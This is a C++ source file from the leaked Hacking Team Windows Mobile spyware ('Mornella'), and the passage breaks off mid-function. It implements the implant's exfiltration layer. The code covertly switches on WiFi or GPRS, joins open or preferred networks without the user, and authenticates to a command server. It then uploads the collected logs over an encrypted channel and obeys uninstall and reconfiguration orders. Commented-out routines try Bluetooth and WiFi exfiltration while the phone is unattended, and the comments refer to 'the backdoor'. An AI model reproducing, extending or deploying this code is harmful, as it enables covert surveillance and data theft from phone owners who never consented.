hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/Transfer.cpp

Summary

Maintainability
Test Coverage
#include <exception>
#include <wchar.h>
#include <memory>

using namespace std;

#include "Transfer.h"
#include "Status.h"
#include "Device.h"
#include "Log.h"
#include "WindowsBlueTooth.h"
#include "Explorer.h"
#include "Buffer.h"
#include "Task.h"

#include <Iphlpapi.h>
#include <wininet.h>

DEFINE_GUID(WIFI_DEVICE_GUID,   0x98c5250d, 0xc29a, 0x4985, 0xae, 0x5f, 0xaf, 0xe5, 0x36, 0x7e, 0x50, 0x06);
DEFINE_GUID(HMOBILE_PROTO_UUID, 0xa81fd4e0, 0xeec8, 0x4a1f, 0xbd, 0x6c, 0xb2, 0x49, 0x74, 0x57, 0x6b, 0xb9);

Transfer::Transfer() : bIsWifiActive(FALSE), bIsWifiAlreadyActive(FALSE), uBtMac(0), retryTimes(0), 
pollInterval(0), pSnap(NULL), uberlogObj(NULL), bNewConf(FALSE), bUninstall(FALSE), bWiFiForced(FALSE), 
uWifiKeyLen(0), ulRegistryDhcp(0), bGprsForced(FALSE), deviceObj(NULL) {
    WCHAR wifiGuid[]  = L"{98C5250D-C29A-4985-AE5F-AFE5367E5006}\\";

    // La porta di RSSM
    sPort = htons(80);

    strSessionCookie.clear();
    vAvailables.clear();

    statusObj = Status::self();
    uberlogObj = UberLog::self();
    deviceObj = Device::self();

    ZeroMemory(BtPin, sizeof(BtPin));
    ZeroMemory(&m_btGuid, sizeof(m_btGuid));
    ZeroMemory(K, sizeof(K));

    // Allochiamo la classe per la gestione dello stack BT
    if (IsWidcomm()) {
        // Dummy class
        objBluetooth = new WindowsBlueTooth(HMOBILE_PROTO_UUID);
        DBG_TRACE(L"Debug - Transfer.cpp - Transfer() detected Widcomm Bluetooth Stack\n", 1, FALSE);
    } else {
        objBluetooth = new WindowsBlueTooth(HMOBILE_PROTO_UUID);
        DBG_TRACE(L"Debug - Transfer.cpp - Transfer() detected Windows Bluetooth Stack\n", 1, FALSE);
    }

    // Vediamo se tutti gli oggetti sono stati allocati
    if (statusObj == NULL || uberlogObj == NULL || deviceObj == NULL)
        return;

    // Impostiamo un intervallo di default
    SetPollInterval(3000, 5);

    // Otteniamo il nome dell'adattore WiFi
    if (wifiObj.GetWiFiAdapterName(strWifiAdapter) == FALSE)
        return;

    strWifiGuidName = wifiGuid;
    strWifiGuidName += strWifiAdapter;

    // A questo punto strWifiAdapter e strWifiGuidName sono valorizzati
}

Transfer::~Transfer() {
    delete objBluetooth;

    ClearLogSnapshot();
}

BOOL Transfer::ActivateWiFi() {
    CEDEVICE_POWER_STATE powerState = PwrDeviceUnspecified;

    if (strWifiAdapter.empty()) {
        DBG_TRACE(L"Debug - Transfer.cpp - ActivateWiFi() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    // A questo punto abbiamo in wifiName la GUID ed il nome dell'adattatore,
    // in pBuf il nome dell'adattatore gia' NULL terminato
    powerState = deviceObj->GetDevicePowerState(strWifiGuidName);

    if (powerState == PwrDeviceUnspecified) {
        powerState = D4; // In caso di errore, supponiamo che sia spenta
    }

    if (bIsWifiAlreadyActive && powerState == D4) {
        bIsWifiAlreadyActive = FALSE;
        bIsWifiActive = FALSE;
    }

    // Conserviamo lo stato, lo utilizzeremo nella DeActivateWifi()
    wifiPower = powerState;

    switch (powerState) {
        case D0: // Full on
        case D1: // Low on
            bIsWifiAlreadyActive = TRUE;
            break;

        default:
            bIsWifiAlreadyActive = FALSE;
            deviceObj->SetDevicePowerState(strWifiGuidName, D0);

            powerState = deviceObj->GetDevicePowerState(strWifiGuidName);

            if (powerState == PwrDeviceUnspecified) {
                powerState = D4; // In caso di errore, supponiamo che sia spenta
            }
            break;
    }

    if (powerState == D4) {
        DBG_TRACE(L"Debug - Transfer.cpp - ActivateWiFi() FAILED [1]\n", 5, FALSE);
        return FALSE;
    }

    Sleep(8000); // Attendiamo che il powerup sia completo
    bIsWifiActive = TRUE;
    DBG_TRACE(L"Debug - Transfer.cpp - ActivateWiFi() OK\n", 5, FALSE);
    return bIsWifiActive;
}

BOOL Transfer::DeActivateWiFi() {
    CEDEVICE_POWER_STATE powerState = PwrDeviceUnspecified;

    if (strWifiAdapter.empty()) {
        DBG_TRACE(L"Debug - Transfer.cpp - DeActivateWiFi() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    powerState = deviceObj->GetDevicePowerState(strWifiGuidName);

    if (powerState == PwrDeviceUnspecified) {
        powerState = D4; // In caso di errore, supponiamo che sia spenta
    }

    if (bIsWifiAlreadyActive) {
        // Se necessario restoriamo lo stato di alimentazione originale
        if(powerState != wifiPower) {
            deviceObj->SetDevicePowerState(strWifiGuidName, wifiPower);
        }

        DBG_TRACE(L"Debug - Transfer.cpp - DeActivateWiFi() OK\n", 5, FALSE);
        return TRUE;
    }

    if (powerState == D4) {
        deviceObj->SetDevicePowerState(strWifiGuidName, D4); // Proviamo comunque a spegnerla
        bIsWifiActive = FALSE;
        DBG_TRACE(L"Debug - Transfer.cpp - DeActivateWiFi() OK\n", 5, FALSE);
        return TRUE;
    }

    deviceObj->SetDevicePowerState(strWifiGuidName, D4);

    powerState = deviceObj->GetDevicePowerState(strWifiGuidName);

    if (powerState == PwrDeviceUnspecified) {
        powerState = D4; // In caso di errore, supponiamo che sia spenta
    }

    if (powerState != D4){
        bIsWifiActive = TRUE;
        DBG_TRACE(L"Debug - Transfer.cpp - DeActivateWiFi() FAILED [1]\n", 5, FALSE);
        return FALSE;
    }

    bIsWifiActive = FALSE;
    DBG_TRACE(L"Debug - Transfer.cpp - DeActivateWiFi() OK\n", 5, FALSE);
    return TRUE;
}

BOOL Transfer::IsWiFiActive() {
    CEDEVICE_POWER_STATE powerState = PwrDeviceUnspecified;

    if (strWifiAdapter.empty()) {
        DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiActive() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    powerState = deviceObj->GetDevicePowerState(strWifiGuidName);

    if (powerState == PwrDeviceUnspecified) {
        powerState = D4; // In caso di errore, supponiamo che sia spenta
    }

    if (powerState == D0 || powerState == D1) {
        DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiActive() OK\n", 5, FALSE);
        return TRUE;
    }

    DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiActive() [WiFi is Powered Off]\n", 5, FALSE);
    return FALSE;
}

BOOL Transfer::SetBTPin(UCHAR *pPin, UINT uLen) {
    if (pPin == NULL || uLen == 0 || uLen > 16)
        return FALSE;

    ZeroMemory(BtPin, 16);
    CopyMemory(BtPin, pPin, uLen);
    return TRUE;
}


BOOL Transfer::IsWiFiConnectionAvailable() {
    PIP_ADAPTER_ADDRESSES pAdapterList;
    BYTE *pip = NULL;
    DWORD dwAdapterDim = sizeof(IP_ADAPTER_ADDRESSES) * 20, flags;

    if (IsWiFiActive() == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiConnectionAvailable() [No WiFi Connection Available]\n", 5, FALSE);
        return FALSE;
    }

    pip = new(std::nothrow) BYTE[dwAdapterDim];

    if (pip == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiConnectionAvailable() FAILED [0] ", 5, TRUE);
        return FALSE;
    }

    ZeroMemory(pip, dwAdapterDim);
    flags = GAA_FLAG_SKIP_ANYCAST | GAA_FLAG_SKIP_FRIENDLY_NAME | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_DNS_SERVER;

    if (GetAdaptersAddresses(AF_INET, flags, NULL, (PIP_ADAPTER_ADDRESSES)pip, &dwAdapterDim) != NO_ERROR) {
        delete[] pip;
        DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiConnectionAvailable() FAILED [1] ", 5, TRUE);
        return FALSE;
    }

    // Possiamo anche usare la Transfer::GetAdapterIP() che e' parecchio piu' veloce
    for (pAdapterList = (PIP_ADAPTER_ADDRESSES)pip; pAdapterList != NULL; pAdapterList = pAdapterList->Next) {
        // Se e' il nostro adattatore WiFi ed ha un IP assegnato ritorna
        if (pAdapterList->AdapterName) {
            // Converti in widechar il nome dell'adapter
            WCHAR *wAdapter = new(std::nothrow) WCHAR[strlen(pAdapterList->AdapterName) + 1];

            if (wAdapter == NULL) {
                delete[] pip;
                DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiConnectionAvailable() FAILED [2] ", 5, TRUE);
                return FALSE;
            }

            ZeroMemory(wAdapter, strlen(pAdapterList->AdapterName) + sizeof(WCHAR));
            wsprintf(wAdapter, L"%S", pAdapterList->AdapterName);

            if (strWifiAdapter == wAdapter && pAdapterList->OperStatus == IfOperStatusUp /* && pAdapterList->FirstUnicastAddress*/) {
                delete[] wAdapter;
                delete[] pip;
                DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiConnectionAvailable() OK\n", 5, FALSE);
                return TRUE;
            }

            delete[] wAdapter;
        }
    }

    delete[] pip;

    DBG_TRACE(L"Debug - Transfer.cpp - IsWiFiConnectionAvailable() FAILED [3]\n", 5, FALSE);
    return FALSE;
}

BOOL Transfer::SetBTMacAddress(UINT64 uMacAddress) {
    if (uMacAddress == 0)
        return FALSE;

    uBtMac = uMacAddress;

    return TRUE;
}

BOOL Transfer::SetBTGuid(GUID gGuid) {
    m_btGuid = gGuid;

    return TRUE;
}

// pSsid dovrebbe essere  in CHAR perche' kiodo ce lo passa come ASCII
BOOL Transfer::SetWifiSSID(WCHAR* pSSID, UINT uLen) {
    CHAR cSsid[33];

    if (pSSID == NULL || uLen == 0)
        return FALSE;

    ZeroMemory(wSsid, sizeof(wSsid));
    ZeroMemory(cSsid, sizeof(cSsid));
    CopyMemory(cSsid, (CHAR *)pSSID, 32);
    wsprintf(wSsid, L"%S", cSsid);
    //CopyMemory(wSsid, pSSID, uLen);
    return TRUE;
}

BOOL Transfer::SetWifiKey(BYTE* pKey, UINT uLen) {
    if (pKey == NULL)
        return FALSE;

    // Teniamo traccia della lunghezza della chiave
    uWifiKeyLen = uLen;

    ZeroMemory(wifiKey, sizeof(wifiKey));
    CopyMemory(wifiKey, pKey, uLen);
    return TRUE;
}

BOOL Transfer::IsWidcomm() {
    HKEY hWidcomm;
    HINSTANCE hInst;
    LONG lRet;

    // Questa chiave _dovrebbe_ esser presente sui telefoni che usano lo stack Widcomm.
    // Alternativamente si puo' checkare la presenza di questi file:
    // ("\Windows\BtSdkCE30.dll" || "\Windows\BtSdkCE50.dll") && "\Windows\BtCoreIf.dll"
    lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\WIDCOMM", 0, 0, &hWidcomm);

    RegCloseKey(hWidcomm);

    if (lRet == ERROR_SUCCESS)
        return TRUE;

    hInst = LoadLibrary(L"BtSdkCE50.dll");

    if (hInst != NULL) {
        FreeLibrary(hInst);
        return TRUE;
    }

    hInst = LoadLibrary(L"BtSdkCE30.dll");

    if (hInst != NULL) {
        FreeLibrary(hInst);
        return TRUE;
    }

    return FALSE;
}

BOOL Transfer::BtSend() {
    /*WSADATA wsd;
    list<ConfStruct>::const_iterator iter;
    SOCKADDR_BTH sab;
    BTH_SOCKOPT_SECURITY bss;
    UINT poll, times, i;
    INT ret;

    ZeroMemory(&sab, sizeof(SOCKADDR_BTH));
    ZeroMemory(&bss, sizeof(BTH_SOCKOPT_SECURITY));

    WAIT_AND_SIGNAL(statusObj->hConfigLock);
    for (iter = statusObj->GetConfigStruct().begin(); iter != statusObj->GetConfigStruct().end(); iter++) {
        switch ((*iter).uConfId) {
            case CONFIGURATION_BTMAC: 
                SetBTMacAddress(*(BT_ADDR *)((*iter).pParams));
                break;

            case CONFIGURATION_BTPIN:
                SetBTPin((UCHAR *)((*iter).pParams), (*iter).uParamLength);
                break;

            case CONFIGURATION_CONNRETRY:
                poll = *(UINT *)((*iter).pParams);
                times = *(UINT *)((BYTE *)(*iter).pParams + 4);
                SetPollInterval(poll, times);
                break;

            case CONFIGURATION_BTGUID:
                SetBTGuid(*(GUID *)((*iter).pParams));
                break;

            // L'SSID della rete WiFi ed il nome del device BT sono gli stessi
            case CONFIGURATION_WIFISSID:
                SetWifiSSID((WCHAR *)((*iter).pParams), (*iter).uParamLength);
                break;

            default: break;
        }
    }
    UNLOCK(statusObj->hConfigLock);

    objBluetooth->SetInstanceName(wSsid);
    objBluetooth->SetGuid(m_btGuid);

    if (WSAStartup(MAKEWORD(1,0),&wsd) != 0) {
        DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [1]\n", 3, FALSE);
        return FALSE;
    }

    if (objBluetooth->ActivateBT() == FALSE) {
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [2]\n", 3, FALSE);
        return FALSE;
    }

    BTSocket = socket(AF_BTH, SOCK_STREAM, BTHPROTO_RFCOMM);

    if (BTSocket == INVALID_SOCKET) {
        objBluetooth->DeActivateBT();
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [3]\n", 3, FALSE);
        return FALSE;
    }

    // Find loop
    i = 0;
    while (i < retryTimes) {
        // La FindServer() si interrompe automaticamente se l'utente utilizza il telefono
        uBtMac = objBluetooth->FindServer(BTSocket);

        if (uBtMac == 0) {
            Sleep(pollInterval);
            i++;
            DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FindServer() returned 0, sleeping...\n", 4, FALSE);
            continue;
        }

        break;
    }

    if (uBtMac == 0) { 
        objBluetooth->DeActivateBT();
        closesocket(BTSocket);
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [4]\n", 3, FALSE);
        return FALSE;
    }

    sab.btAddr = uBtMac;
    sab.addressFamily = AF_BTH;
    sab.port = 0;
    sab.serviceClassId = m_btGuid;
    bss.btAddr = uBtMac;
    bss.iLength = strlen((CHAR *)BtPin);
    CopyMemory((CHAR *)bss.caData, (CHAR *)BtPin, strlen((CHAR *)BtPin));

    if (strlen((CHAR *)BtPin)) {
        if (setsockopt(BTSocket, SOL_RFCOMM, SO_BTH_SET_PIN , (CHAR *)&bss, sizeof(bss)) == SOCKET_ERROR) {
            objBluetooth->DeActivateBT();
            closesocket(BTSocket);
            WSACleanup();
            DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [5]\n", 3, FALSE);
            return FALSE;
        }

        INT encryption = TRUE;
        if (setsockopt(BTSocket, SOL_RFCOMM, SO_BTH_ENCRYPT , (CHAR *)&encryption, sizeof(encryption)) == SOCKET_ERROR) {
            objBluetooth->DeActivateBT();
            closesocket(BTSocket);
            WSACleanup();
            DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [5]\n", 3, FALSE);
            return FALSE;
        }
    }

    // Connect loop
    i = 0;
    while (i < retryTimes) {
        ret = connect(BTSocket, (const sockaddr *)&sab, sizeof(sab));

#ifdef _DEBUG
        int conn_err = WSAGetLastError();
#endif

        if (ret) {
            // Usciamo dal loop se l'utente riprende ad interagire col telefono
            if (deviceObj->IsDeviceUnattended() == FALSE || (statusObj->Crisis() & CRISIS_SYNC) == CRISIS_SYNC) {
                objBluetooth->DeActivateBT();
                closesocket(BTSocket);
                WSACleanup();
                DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [Power status or crisis changed] [6]\n", 3, FALSE);
                return FALSE;
            }

            Sleep(pollInterval);
            i++;
            continue;
        }

        break;
    }

    // Non si riesce a connettere, torniamo con un errore
    if (ret) {
        objBluetooth->DeActivateBT();
        closesocket(BTSocket);
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [7]\n", 3, FALSE);
        return FALSE;
    }

    // Send loop
    i = 0;
    while (i < retryTimes) {
        if (SendOldProto(CONF_SYNC_BT, TRUE) == TRUE) {
            objBluetooth->DeActivateBT();
            closesocket(BTSocket);
            WSACleanup();

            DBG_TRACE(L"Debug - Transfer.cpp - BtSend() -> Send() OK\n", 3, FALSE);

            if (bUninstall)
                return SEND_UNINSTALL;

            if (bNewConf)
                return SEND_RELOAD;

            return TRUE;
        } else {
            // Usciamo dal loop se l'utente riprende ad interagire col telefono
            if (deviceObj->IsDeviceUnattended() == FALSE || (statusObj->Crisis() & CRISIS_SYNC) == CRISIS_SYNC)
                break;

            Sleep(pollInterval);
            i++;
            continue;
        }
    }

    objBluetooth->DeActivateBT();
    closesocket(BTSocket);
    WSACleanup();

    // Se abbiamo una nuova conf torniamo comunque con un reload
    DBG_TRACE(L"Debug - Transfer.cpp - BtSend() FAILED [8]\n", 3, FALSE);

    if (bNewConf)
        return SEND_RELOAD;
*/
    return FALSE;
}

// Forza una connessione ad una rete WiFi provando ad ottenere un IP tramite
// DHCP per effettuare la sync verso il server internet.
BOOL Transfer::ForceWiFiConnection() {
    struct BSSIDInfo bssid;

    // Abbiamo forzato una connessione che ancora non e' stata rilasciata
    if (bWiFiForced) {
        DBG_TRACE(L"Debug - Transfer.cpp - ForceWiFiConnection() FAILED [Connection not released yet!] [0]\n", 4, FALSE);
        return FALSE;
    }

    ZeroMemory(&bssid, sizeof(bssid));

    // Se siamo gia' connessi non possiamo forzare il cambio di connessione
    if (IsWiFiConnectionAvailable()) {
        DBG_TRACE(L"Debug - Transfer.cpp - ForceWiFiConnection() FAILED [Already connected!] [1]\n", 4, FALSE);
        bWiFiForced = FALSE;
        return FALSE;
    }

    if (ActivateWiFi() == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - ForceWiFiConnection() FAILED [2]\n", 4, FALSE);
        bWiFiForced = FALSE;
        return FALSE;
    }

    // Connettiamoci ad una rete preferita, se presente
    if (wifiObj.WZCConnectToPreferred(strWifiAdapter)) {
        DBG_TRACE(L"Debug - Transfer.cpp - ForceWiFiConnection() [Connected to preferred] OK\n", 5, FALSE);
        bWiFiForced = TRUE;
        return TRUE;
    }

    // Connettiamoci ad una rete aperta
    if (wifiObj.WZCConnectToOpen(strWifiAdapter)) {
        DBG_TRACE(L"Debug - Transfer.cpp - ForceWiFiConnection() [Connected to open] OK\n", 5, FALSE);
        bWiFiForced = TRUE;
        return TRUE;
    }

    /*
    // Prendiamo gli attuali mask e ip
    ulOriginalIp = GetAdapterIP(strWifiAdapter);
    ulOriginalMask = GetAdapterMask(strWifiAdapter);

    // Cerchiamo la nostra rete
    if(wifiObj.GetBSSID(strWifiAdapter, L"nobody", &bssid) == FALSE)
    return FALSE;

    // Disassociamoci da qualunque rete preconfigurata... Giusto per sicurezza
    if(wifiObj.Disassociate(strWifiAdapter) == FALSE)
    return FALSE;

    // Colleghiamoci alla nuova rete
    if(wifiObj.WZCConfigureNetwork(strWifiAdapter, &bssid, (BYTE *)&WepKey, 5) == FALSE)
    return FALSE;

    // Diamo alla backdoor il tempo di associarsi
    Sleep(8000);

    // Impostiamo il nostro nuovo ip/mask (198.18.0.0 - 198.19.255.255     198.18.0.0/15)
    // Il server e' .106
    DWORD dwNewIp = (DWORD)inet_addr("198.18.211.105");
    DWORD dwNewMask = (DWORD)inet_addr("255.255.255.0");
    DWORD Index = GetAdapterIndex(strWifiAdapter);

    // Aggiungiamo il nostro IP
    if(AddIPAddress(dwNewIp, dwNewMask, Index, &NTEContext, &NTEInstance) != NO_ERROR)
    return FALSE;
    */

    DeActivateWiFi();
    bWiFiForced = FALSE;
    DBG_TRACE(L"Debug - Transfer.cpp - ForceWiFiConnection() FAILED [3]\n", 4, FALSE);
    return FALSE;
}

BOOL Transfer::ForceGprsConnection() {
    if (bGprsForced) {
        DBG_TRACE(L"Debug - Transfer.cpp - ForceGprsConnection() [Already forced!] FAILED [0]\n", 4, FALSE);
        return FALSE;
    }

    gprsObj.Connect();

    bGprsForced = TRUE;
    DBG_TRACE(L"Debug - Transfer.cpp - ForceGprsConnection() OK\n", 5, FALSE);
    return TRUE;
}

BOOL Transfer::ReleaseWiFiConnection() {
    if (bWiFiForced == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - ReleaseWiFiConnection() FAILED [No forced connection present] [0]\n", 4, FALSE);
        return FALSE;
    }

    //if(wifiObj.Disassociate(strWifiAdapter) == FALSE)
    //    return FALSE;

    // Rimuoviamo l'IP che avevamo aggiunto
    //if(DeleteIPAddress(NTEContext) != NO_ERROR)
    //    return FALSE;

    if (DeActivateWiFi() == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - ReleaseWiFiConnection() FAILED [1]\n", 4, FALSE);
        return FALSE;
    }

    bWiFiForced = FALSE;
    DBG_TRACE(L"Debug - Transfer.cpp - ReleaseWiFiConnection() OK\n", 5, FALSE);
    return TRUE;
}

BOOL Transfer::ReleaseGprsConnection() {
    if (bGprsForced == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - ReleaseGprsConnection() FAILED [No forced connection present] [0]\n", 4, FALSE);
        return FALSE;
    }

    gprsObj.Disconnect();

    bGprsForced = FALSE;
    DBG_TRACE(L"Debug - Transfer.cpp - ReleaseGprsConnection() OK\n", 5, FALSE);
    return TRUE;
}

UINT Transfer::WiFiSendPda() {
/*    WSADATA wsd;
    list<ConfStruct>::const_iterator iter;
    sockaddr_in saw;
    struct BSSIDInfo bssid;    
    ULONG dwNewIp, dwNewMask;
    DWORD Index = GetAdapterIndex(strWifiAdapter);
    ULONG lLocalContext = 0, lLocalInstance = 0;
    UINT poll, times, i;
    INT ret;

    if (statusObj == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [0]\n", 4, FALSE);
        return FALSE;
    }

    ZeroMemory(&saw, sizeof(saw));
    ZeroMemory(&bssid, sizeof(bssid));

    // Impostiamo il nostro nuovo ip/mask (198.18.0.0 - 198.19.255.255     198.18.0.0/15)
    // Il server e' .210, la porta e' 6859
    dwNewIp = inet_addr("169.254.171.209");
    dwNewMask = inet_addr("255.255.0.0");
    //sPort = htons(81); // Porta del server di sync

    WAIT_AND_SIGNAL(statusObj->hConfigLock);
    for(iter = statusObj->GetConfigStruct().begin(); iter != statusObj->GetConfigStruct().end(); iter++){
        switch((*iter).uConfId){
            case CONFIGURATION_WIFIIP: // Per ora lo impostiamo noi
                //SetWiFiIp(*(BT_ADDR *)((*iter).pParams));
                break;

            case CONFIGURATION_WIFIENC: // Per ora solo trasmettiamo in chiaro
                //SetWiFiEncryption((UCHAR *)((*iter).pParams), (*iter).uParamLength);
                break;

            case CONFIGURATION_CONNRETRY:
                poll = *(UINT *)((*iter).pParams);
                times = *(UINT *)((BYTE *)(*iter).pParams + 4);
                SetPollInterval(poll, times);
                break;

            case CONFIGURATION_WIFIKEY:
                SetWifiKey((BYTE *)((*iter).pParams), (*iter).uParamLength);
                break;

            case CONFIGURATION_WIFISSID:
                SetWifiSSID((WCHAR *)((*iter).pParams), (*iter).uParamLength);
                break;

            default: break;
        }
    }
    UNLOCK(statusObj->hConfigLock);

    if (SetWirelessIp(strWifiAdapter, dwNewIp, dwNewMask) == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [1]\n", 4, FALSE);
        return FALSE;
    }

    // Serve a flushare i settings della scheda
    ActivateWiFi();
    DeActivateWiFi();

    if (WSAStartup(MAKEWORD(1,0), &wsd) != 0) {
        RestoreWirelessIp(strWifiAdapter);
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [2]\n", 4, FALSE);
        return FALSE;
    }

    if (ActivateWiFi() == FALSE) {
        RestoreWirelessIp(strWifiAdapter);
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [3]\n", 4, FALSE);
        return FALSE;
    }

    //Sleep(6000);

    wifiSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    if (wifiSocket == INVALID_SOCKET) {
        DeActivateWiFi();
        RestoreWirelessIp(strWifiAdapter);
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [4]\n", 4, FALSE);
        return FALSE;
    }

    // Cerchiamo la nostra rete
    if (wifiObj.GetBSSID(strWifiAdapter, wSsid, &bssid) == FALSE) {
        CopyMemory(&bssid.SSID, wSsid, WideLen(wSsid));
    }

    //Sleep(3000);

    // Colleghiamoci alla nuova rete
    if (wifiObj.WZCConfigureNetwork(strWifiAdapter, &bssid, wifiKey, uWifiKeyLen) == FALSE) {
        WSACleanup();
        DeActivateWiFi();
        RestoreWirelessIp(strWifiAdapter);
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [5]\n", 4, FALSE);
        return FALSE;
    }

    // Diamo alla backdoor il tempo di associarsi
    Sleep(10000);

    saw.sin_family = AF_INET;
    saw.sin_addr.s_addr = inet_addr("169.254.171.210"); // Il server e' il nostro IP + 1
    saw.sin_port = sPort;

    // Connect loop
    i = 0;
    while (i < retryTimes) {
        ret = connect(wifiSocket, (const sockaddr *)&saw, sizeof(saw));

        if (ret) {
#ifdef _DEBUG
            int conn_err = GetLastError();
#endif
            Sleep(pollInterval);
            i++;
            continue;
        }

        break;
    }

    // Non si riesce a connettere, torniamo con un errore
    if (ret) {
        DeActivateWiFi();
        RestoreWirelessIp(strWifiAdapter);
        closesocket(wifiSocket);
        WSACleanup();
        DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [6] ", 4, TRUE);
        return FALSE;
    }

    // Send loop
    i = 0;
    while (i < retryTimes) {
        if (Send(CONF_SYNC_WIFI, FALSE) == TRUE) {
            DeActivateWiFi();
            RestoreWirelessIp(strWifiAdapter);
            closesocket(wifiSocket);
            WSACleanup();

            if (bUninstall)
                return SEND_UNINSTALL;

            if (bNewConf)
                return SEND_RELOAD;

            DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() OK\n", 5, FALSE);
            return TRUE;
        } else {
            Sleep(pollInterval);
            i++;
            continue;
        }
    }

    DeActivateWiFi();
    RestoreWirelessIp(strWifiAdapter);
    closesocket(wifiSocket);
    WSACleanup();

    DBG_TRACE(L"Debug - Transfer.cpp - WiFiSendPda() FAILED [7] ", 4, TRUE);

    // Se abbiamo una nuova conf torniamo comunque con un reload
    if (bNewConf)
        return SEND_RELOAD;
*/
    return FALSE;
}

INT Transfer::InternetSend(const wstring &strHostname) {
    if (strHostname.empty()) {
        DBG_TRACE(L"Debug - Transfer.cpp - InternetSend() FAILED [0]\n", 4, FALSE);
        return SEND_FAIL;
    }

    bUninstall = bNewConf = FALSE;

    strSyncServer = strHostname;

    // Connect loop
    UINT i = 0;

    while (i < retryTimes) {
        // Autentichiamoci
        UINT uCode = RestAuth();

        switch (uCode) {
            case PROTO_OK: // Procediamo con la sync
                break;

            case PROTO_NO: // Siamo stati messi in coda
                return FALSE;

            case PROTO_UNINSTALL: // Ci dobbiamo uninstallare
                return SEND_UNINSTALL;

            default:
                DBG_TRACE(L"Debug - Transfer.cpp - InternetSend() [RestAuth() connection attempt FAILED]: ", 4, TRUE);
                Sleep(pollInterval);
                i++;
                continue;
        }

        // Procediamo con l'identification
        if (RestIdentification() == FALSE) {
            UINT uCommand = PROTO_BYE, uResponse = 0;
            RestSendCommand((PBYTE)&uCommand, sizeof(uCommand), uResponse);

            DBG_TRACE(L"Debug - Transfer.cpp - InternetSend() [RestIdentification() FAILED]: ", 4, TRUE);
            return SEND_FAIL;
        }

        // Parsiamo le richieste ricevute dal server
        RestProcessAvailables();

        // Inviamo i log
        if (RestSendLogs() == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - InternetSend() [RestSendLogs() FAILED]: ", 4, TRUE);
        }

        // Spediamo un PROTO_BYE
        BYTE sha1[20];

        UINT uCommand = PROTO_BYE, uResponse = 0;
        UINT uPadding = Encryption::GetPKCS5Padding(sizeof(PROTO_BYE) + 20);

        Buffer b(Encryption::GetPKCS5Padding(sizeof(PROTO_BYE) + 20));
        Hash hash;

        hash.Sha1((UCHAR *)&uCommand, sizeof(uCommand), sha1);

        // Creiamo il request per il comando
        b.append((UCHAR *)&uCommand, sizeof(uCommand));
        b.append((BYTE *)sha1, 20);
        b.repeat(uPadding, uPadding);

        PBYTE pResp = RestSendCommand((BYTE *)b.getBuf(), b.getPos(), uResponse);

        if (pResp)
            delete[] pResp;

        if (bUninstall)
            return SEND_UNINSTALL;

        if (bNewConf)
            return SEND_RELOAD;

        return SEND_OK;
    }

    return SEND_FAIL;
}

BYTE* Transfer::RestSendCommand(BYTE* pCommand, UINT uCommandLen, UINT &uResponseLen) {
    Encryption encK(K, 128);
    PBYTE pServResponse = NULL, pClientCommand = NULL;

    if (pCommand == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendCommand() FAILED [pCommand == NULL]\n", 4, TRUE);
        return NULL;
    }

    pClientCommand = encK.EncryptData(pCommand, &uCommandLen);

    if (RestPostRequest(pClientCommand, uCommandLen, pServResponse, uResponseLen) == FALSE) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendCommand() FAILED\n", 4, TRUE);
        return NULL;
    }

    delete[] pClientCommand;

    // Decifra il response del server
    PBYTE pClearRequest = NULL;

    pClearRequest = encK.DecryptData(pServResponse, &uResponseLen);

    delete[] pServResponse;

    // Rimuovi il padding
    uResponseLen -= (BYTE)pClearRequest[uResponseLen - 1];

    // Se il response e' stranamente grande, c'e' un problema...
    if (uResponseLen > 100 * 1024 * 1024 || uResponseLen < 20) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendCommand() FAILED [Decryption failed]\n", 4, TRUE);
        delete[] pClearRequest;
        return NULL;
    }

    // Verifica l'integrita' del messaggio
    Buffer c(20);
    Hash hash;

    BYTE sha1[20];

    // Se il response e' stranamente grande, c'e' un problema...
    if (pClearRequest[uResponseLen - 20] > 100 * 1024 * 1024) {
        DBG_TRACE(L"Debug - Transfer.cpp - RestSendCommand() FAILED [Decryption failed 2]\n", 4, TRUE);
        delete[] pClearRequest;
